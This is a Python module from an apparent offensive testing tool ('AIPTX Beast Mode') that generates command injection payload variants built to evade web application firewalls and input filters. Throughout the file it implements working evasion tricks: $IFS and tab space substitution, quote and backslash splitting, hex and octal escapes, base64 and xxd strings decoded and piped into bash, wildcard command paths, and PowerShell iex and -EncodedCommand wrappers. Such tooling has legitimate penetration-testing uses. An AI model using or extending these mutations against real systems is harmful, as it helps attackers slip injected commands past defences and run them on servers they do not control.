"""
AIPTX Beast Mode - Command Injection Mutations
==============================================

Advanced command injection payload mutations for WAF bypass.
"""

from __future__ import annotations

import base64
import logging
import re
from dataclasses import dataclass, field
from typing import Callable

logger = logging.getLogger(__name__)


@dataclass
class CMDMutation:
    """A single command injection mutation technique."""
    name: str
    description: str
    transform: Callable[[str, str], str]  # (payload, os_type) -> mutated
    os_type: list[str] = field(default_factory=lambda: ["all"])


class CMDMutator:
    """
    Command injection payload mutator.

    Applies various mutation techniques to bypass WAF and filters.
    """

    def __init__(self, os_type: str = "linux"):
        """
        Initialize the CMD mutator.

        Args:
            os_type: Operating system type (linux, windows)
        """
        self.os_type = os_type.lower()
        self._mutations = self._build_mutations()

    def mutate(self, payload: str) -> list[tuple[str, str]]:
        """
        Generate all mutation variants of a payload.

        Args:
            payload: Original command injection payload

        Returns:
            List of (mutated_payload, mutation_name) tuples
        """
        results = []

        for mutation in self._mutations:
            if "all" in mutation.os_type or self.os_type in mutation.os_type:
                try:
                    mutated = mutation.transform(payload, self.os_type)
                    if mutated and mutated != payload:
                        results.append((mutated, mutation.name))
                except Exception as e:
                    logger.debug(f"Mutation {mutation.name} failed: {e}")

        return results

    def _build_mutations(self) -> list[CMDMutation]:
        """Build the list of mutation techniques."""
        return [
            # Separator mutations
            CMDMutation(
                name="newline_separator",
                description="Use newline as command separator",
                transform=lambda p, o: p.replace(";", "\n").replace("|", "\n"),
            ),
            CMDMutation(
                name="url_newline",
                description="Use URL-encoded newline",
                transform=lambda p, o: p.replace(";", "%0a").replace("|", "%0a"),
            ),
            CMDMutation(
                name="crlf_separator",
                description="Use CRLF as separator",
                transform=lambda p, o: p.replace(";", "\r\n"),
            ),
            CMDMutation(
                name="null_separator",
                description="Use null byte as separator",
                transform=lambda p, o: p.replace(";", "%00").replace("|", "%00"),
            ),

            # Space alternatives (Linux)
            CMDMutation(
                name="ifs_space",
                description="Use $IFS for spaces",
                transform=lambda p, o: p.replace(" ", "${IFS}"),
                os_type=["linux"],
            ),
            CMDMutation(
                name="ifs_9",
                description="Use $IFS$9 for spaces",
                transform=lambda p, o: p.replace(" ", "$IFS$9"),
                os_type=["linux"],
            ),
            CMDMutation(
                name="tab_space",
                description="Use tab instead of space",
                transform=lambda p, o: p.replace(" ", "\t"),
            ),
            CMDMutation(
                name="brace_space",
                description="Use {cmd,arg} syntax",
                transform=self._brace_expansion,
                os_type=["linux"],
            ),

            # Quote mutations (Linux)
            CMDMutation(
                name="single_quote_split",
                description="Split with single quotes",
                transform=self._single_quote_split,
                os_type=["linux"],
            ),
            CMDMutation(
                name="double_quote_split",
                description="Split with double quotes",
                transform=self._double_quote_split,
                os_type=["linux"],
            ),
            CMDMutation(
                name="backslash_split",
                description="Split with backslashes",
                transform=self._backslash_split,
                os_type=["linux"],
            ),

            # Encoding mutations
            CMDMutation(
                name="hex_escape",
                description="Bash hex escapes ($'\\xNN')",
                transform=self._hex_escape,
                os_type=["linux"],
            ),
            CMDMutation(
                name="octal_escape",
                description="Bash octal escapes ($'\\NNN')",
                transform=self._octal_escape,
                os_type=["linux"],
            ),
            CMDMutation(
                name="base64_inline",
                description="Base64 inline decoding",
                transform=self._base64_inline,
                os_type=["linux"],
            ),
            CMDMutation(
                name="xxd_inline",
                description="xxd hex decoding",
                transform=self._xxd_inline,
                os_type=["linux"],
            ),

            # Command substitution
            CMDMutation(
                name="backtick_subst",
                description="Use backticks for substitution",
                transform=lambda p, o: p.replace("$(", "`").replace(")", "`"),
                os_type=["linux"],
            ),
            CMDMutation(
                name="dollar_subst",
                description="Use $() for substitution",
                transform=lambda p, o: p.replace("`", "$(").replace("`", ")"),
                os_type=["linux"],
            ),

            # Variable expansion
            CMDMutation(
                name="env_var_cmd",
                description="Use environment variable for command",
                transform=self._env_var_cmd,
                os_type=["linux"],
            ),
            CMDMutation(
                name="path_variable",
                description="Use PATH variable tricks",
                transform=lambda p, o: re.sub(r"^(\w+)", r"/???/???/\1", p),
                os_type=["linux"],
            ),

            # Wildcard expansion
            CMDMutation(
                name="wildcard_cmd",
                description="Use wildcards for command name",
                transform=self._wildcard_cmd,
                os_type=["linux"],
            ),

            # Reverse command
            CMDMutation(
                name="rev_pipe",
                description="Use rev to reverse command",
                transform=self._rev_pipe,
                os_type=["linux"],
            ),

            # Windows-specific
            CMDMutation(
                name="caret_escape",
                description="Use ^ for escaping",
                transform=lambda p, o: "".join(f"^{c}" if c in "&|<>()@" else c for c in p),
                os_type=["windows"],
            ),
            CMDMutation(
                name="percent_var",
                description="Use %VAR:~N,M% substring",
                transform=self._percent_var,
                os_type=["windows"],
            ),
            CMDMutation(
                name="cmd_var_split",
                description="Split command with variables",
                transform=self._cmd_var_split,
                os_type=["windows"],
            ),

            # PowerShell-specific
            CMDMutation(
                name="ps_iex",
                description="Use Invoke-Expression",
                transform=lambda p, o: f"powershell -c \"iex '{p}'\"",
                os_type=["windows"],
            ),
            CMDMutation(
                name="ps_encoded",
                description="PowerShell encoded command",
                transform=self._ps_encoded,
                os_type=["windows"],
            ),
            CMDMutation(
                name="ps_base64",
                description="PowerShell -EncodedCommand",
                transform=self._ps_base64,
                os_type=["windows"],
            ),
        ]

    def _brace_expansion(self, payload: str, os_type: str) -> str:
        """Use bash brace expansion."""
        parts = payload.split()
        if len(parts) >= 2:
            return "{" + ",".join(parts) + "}"
        return payload

    def _single_quote_split(self, payload: str, os_type: str) -> str:
        """Split command with single quotes."""
        # Split the command part
        match = re.match(r"^[;|&\s]*(\w+)(.*)", payload)
        if match:
            cmd = match.group(1)
            rest = match.group(2)
            split_cmd = "".join(f"'{c}'" for c in cmd)
            return payload.replace(cmd, split_cmd, 1)
        return payload

    def _double_quote_split(self, payload: str, os_type: str) -> str:
        """Split command with double quotes."""
        match = re.match(r"^[;|&\s]*(\w+)(.*)", payload)
        if match:
            cmd = match.group(1)
            rest = match.group(2)
            split_cmd = "".join(f'"{c}"' for c in cmd)
            return payload.replace(cmd, split_cmd, 1)
        return payload

    def _backslash_split(self, payload: str, os_type: str) -> str:
        """Split command with backslashes."""
        match = re.match(r"^[;|&\s]*(\w+)(.*)", payload)
        if match:
            cmd = match.group(1)
            split_cmd = "\\".join(cmd)
            return payload.replace(cmd, split_cmd, 1)
        return payload

    def _hex_escape(self, payload: str, os_type: str) -> str:
        """Convert command to bash hex escapes."""
        match = re.match(r"^[;|&\s]*(\w+)(.*)", payload)
        if match:
            cmd = match.group(1)
            hex_cmd = "".join(f"\\x{ord(c):02x}" for c in cmd)
            return payload.replace(cmd, f"$'{hex_cmd}'", 1)
        return payload

    def _octal_escape(self, payload: str, os_type: str) -> str:
        """Convert command to bash octal escapes."""
        match = re.match(r"^[;|&\s]*(\w+)(.*)", payload)
        if match:
            cmd = match.group(1)
            oct_cmd = "".join(f"\\{ord(c):03o}" for c in cmd)
            return payload.replace(cmd, f"$'{oct_cmd}'", 1)
        return payload

    def _base64_inline(self, payload: str, os_type: str) -> str:
        """Base64 encode and decode inline."""
        match = re.match(r"^[;|&\s]*(.+)", payload)
        if match:
            cmd = match.group(1).strip()
            b64 = base64.b64encode(cmd.encode()).decode()
            return f"; echo {b64}|base64 -d|bash"
        return payload

    def _xxd_inline(self, payload: str, os_type: str) -> str:
        """xxd hex encode and decode inline."""
        match = re.match(r"^[;|&\s]*(.+)", payload)
        if match:
            cmd = match.group(1).strip()
            hex_str = cmd.encode().hex()
            return f"; echo {hex_str}|xxd -r -p|bash"
        return payload

    def _env_var_cmd(self, payload: str, os_type: str) -> str:
        """Use environment variable for command execution."""
        match = re.match(r"^[;|&\s]*(\w+)(.*)", payload)
        if match:
            cmd = match.group(1)
            rest = match.group(2)
            return f"; X={cmd};$X{rest}"
        return payload

    def _wildcard_cmd(self, payload: str, os_type: str) -> str:
        """Use wildcards for common command names."""
        common_cmds = {
            "cat": "/???/c?t",
            "ls": "/???/l?",
            "id": "/???/i?",
            "whoami": "/???/w?o???",
            "pwd": "/???/p?d",
        }
        result = payload
        for cmd, wildcard in common_cmds.items():
            result = re.sub(rf"\b{cmd}\b", wildcard, result)
        return result

    def _rev_pipe(self, payload: str, os_type: str) -> str:
        """Reverse command and use rev to decode."""
        match = re.match(r"^[;|&\s]*(\w+)(.*)", payload)
        if match:
            cmd = match.group(1)
            rest = match.group(2)
            return f"; echo {cmd[::-1]}|rev{rest}"
        return payload

    def _percent_var(self, payload: str, os_type: str) -> str:
        """Use Windows %VAR:~N,M% substring extraction."""
        # Create a lookup from common env vars
        return f'cmd /c "set X={payload}&& call %X:~0%"'

    def _cmd_var_split(self, payload: str, os_type: str) -> str:
        """Split Windows command using variables."""
        match = re.match(r"^[&|]*\s*(\w+)(.*)", payload)
        if match:
            cmd = match.group(1)
            rest = match.group(2)
            var_cmd = "&& ".join(f"set a{i}={c}" for i, c in enumerate(cmd))
            call_cmd = "".join(f"%a{i}%" for i in range(len(cmd)))
            return f"{var_cmd}&& {call_cmd}{rest}"
        return payload

    def _ps_encoded(self, payload: str, os_type: str) -> str:
        """PowerShell with encoding tricks."""
        escaped = payload.replace('"', '`"')
        return f'powershell -nop -c "{escaped}"'

    def _ps_base64(self, payload: str, os_type: str) -> str:
        """PowerShell encoded command."""
        # PowerShell expects UTF-16LE
        encoded = base64.b64encode(payload.encode('utf-16-le')).decode()
        return f"powershell -EncodedCommand {encoded}"


def mutate_cmd_payload(payload: str, os_type: str = "linux") -> list[tuple[str, str]]:
    """Convenience function to mutate command injection payload."""
    mutator = CMDMutator(os_type)
    return mutator.mutate(payload)


def get_cmd_variants(payload: str, os_type: str = "linux", limit: int = 20) -> list[str]:
    """Get mutated variants of a command injection payload."""
    mutations = mutate_cmd_payload(payload, os_type)
    return [m[0] for m in mutations[:limit]]


__all__ = [
    "CMDMutation",
    "CMDMutator",
    "mutate_cmd_payload",
    "get_cmd_variants",
]
